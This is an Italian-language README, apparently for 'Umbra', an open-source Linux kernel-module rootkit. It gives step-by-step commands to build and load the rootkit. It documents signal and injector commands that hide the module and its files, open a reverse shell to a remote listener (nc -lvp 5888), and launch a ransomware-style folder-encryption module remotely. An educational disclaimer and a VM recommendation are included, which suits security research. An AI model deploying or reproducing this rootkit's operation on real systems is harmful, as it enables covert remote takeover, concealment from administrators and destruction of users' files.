
Un rootkit LKM che prende di mira le versioni del kernel 4.x e 5.x, che apre una backdoor in grado di generare una reverse shell verso un host remoto, lanciare malware e altro ancora.

Umbra è un rootkit LKM sperimentale controllabile da remoto per kernel 4.x e 5.x (fino alla 5.7) che apre un backdoor di rete in grado di generare shell inverse verso host remoti, eseguire malware da remoto e molto altro.
Il rootkit è ancora in fase di sviluppo, sebbene le funzionalità elencate di seguito siano già pienamente operative.

Nota: Questo rootkit è stato sviluppato e testato utilizzando il kernel 5.4.0 e Ubuntu 18.04.

Ulteriori funzionalità arriveranno negli aggiornamenti successivi.
Questo rootkit è puramente a scopo educativo. Non sono responsabile per eventuali danni derivanti da un uso improprio.
Tieni inoltre presente che Umbra incorpora solo meccanismi leggeri di occultamento e protezione. Non è destinato all'uso in uno scenario reale.
IMPORTANTE: Se intendi testare questo rootkit sulla tua macchina, raccomando vivamente di usare una VM.
Informazioni sugli Umbra Modules: Il modulo ransom utilizza un meccanismo di crittografia banale, ma può e certamente crittograferà qualsiasi cartella nella tua macchina. Sebbene i file possano essere facilmente decifrati, sconsiglio assolutamente di eseguirlo verso la cartella root o simili se non in un ambiente controllato.
Ricorda che devi avere un kernel 4.x o 5.x disponibile.
apt install linux-headers-$(uname -r)
Configura il tuo percorso di inclusione per coprire la directory degli header del kernel (di solito in /usr/src). Se usi vscode, puoi controllare .vscode/c_cpp_properties.json per un esempio delle directory da includere.
Clona il progetto
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Se hai già eseguito lo script in precedenza e desideri solo installare Umbra nel kernel, puoi eseguire:
sudo insmod ./umbra.ko
Assicurati che Umbra non sia in modalità invisibile, altrimenti fallirà.
sudo rmmod umbra
kill -50 1
Imposta l'IP e la porta desiderati in CONFIG.H prima di compilare il rootkit. Di default 127.0.0.1:5888
Inizia ad ascoltare sull'host remoto.
nc -lvp 5888
kill -51 1
Nota: Umbra tenta anche di avviare la shell inversa al caricamento.
Questo impedirà al rootkit di essere mostrato da comandi come lsmod, o di essere rimosso tramite rmmod.
kill -52 1
Ripristina la modalità invisibile se attiva.
kill -53 1
Umbra Injector può essere eseguito sia prima dell'installazione di Umbra (ottenendo così la shell una volta installato), sia dopo che Umbra è installato sul sistema di destinazione.
./injector -S 127.0.0.1
Il backdoor ascolta i pacchetti con il seguente payload:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
Puoi anche costruire il tuo injector usando la mia libreria RawTCP.
Questo impedirà al rootkit di essere mostrato da comandi come lsmod, o di essere rimosso tramite rmmod.
./injector -i 127.0.0.1
Ripristina la modalità invisibile se attiva.
./injector -u 127.0.0.1
Puoi vedere tutte le informazioni su come eseguire Umbra Injector digitando:
./injector -h
Gli Umbra Modules vengono memorizzati dallo script install.sh in /tmp/umbra, dove Umbra li nasconde. La directory non sarà visibile con comandi come ls o simili.
Questo modulo può lanciare attacchi simili a ransomware da remoto tramite Umbra Injector. I file crittografati appaiono con estensione .ubr.
Attualmente il meccanismo di crittografia è un semplice NOP a livello di bit, come prova di concetto. Puoi modificare il modulo per includere il tuo algoritmo di crittografia.
./injector -p /Tuo/Percorso/Da/Crittografare -e 127.0.0.1
./injector -p /Tuo/Percorso/Da/Decrittografare -d 127.0.0.1
Lo sviluppo di questo rootkit ha richiesto una quantità significativa di ricerca sui LKM e sulle tecniche dei rootkit. Quella che segue è una lista incompleta delle risorse utilizzate: Come creare LKM:
Riferimento syscall Linux:
Alcuni riferimenti sui rootkit:
Questo progetto è concesso in licenza sotto la licenza GPLv2. Vedi LICENSE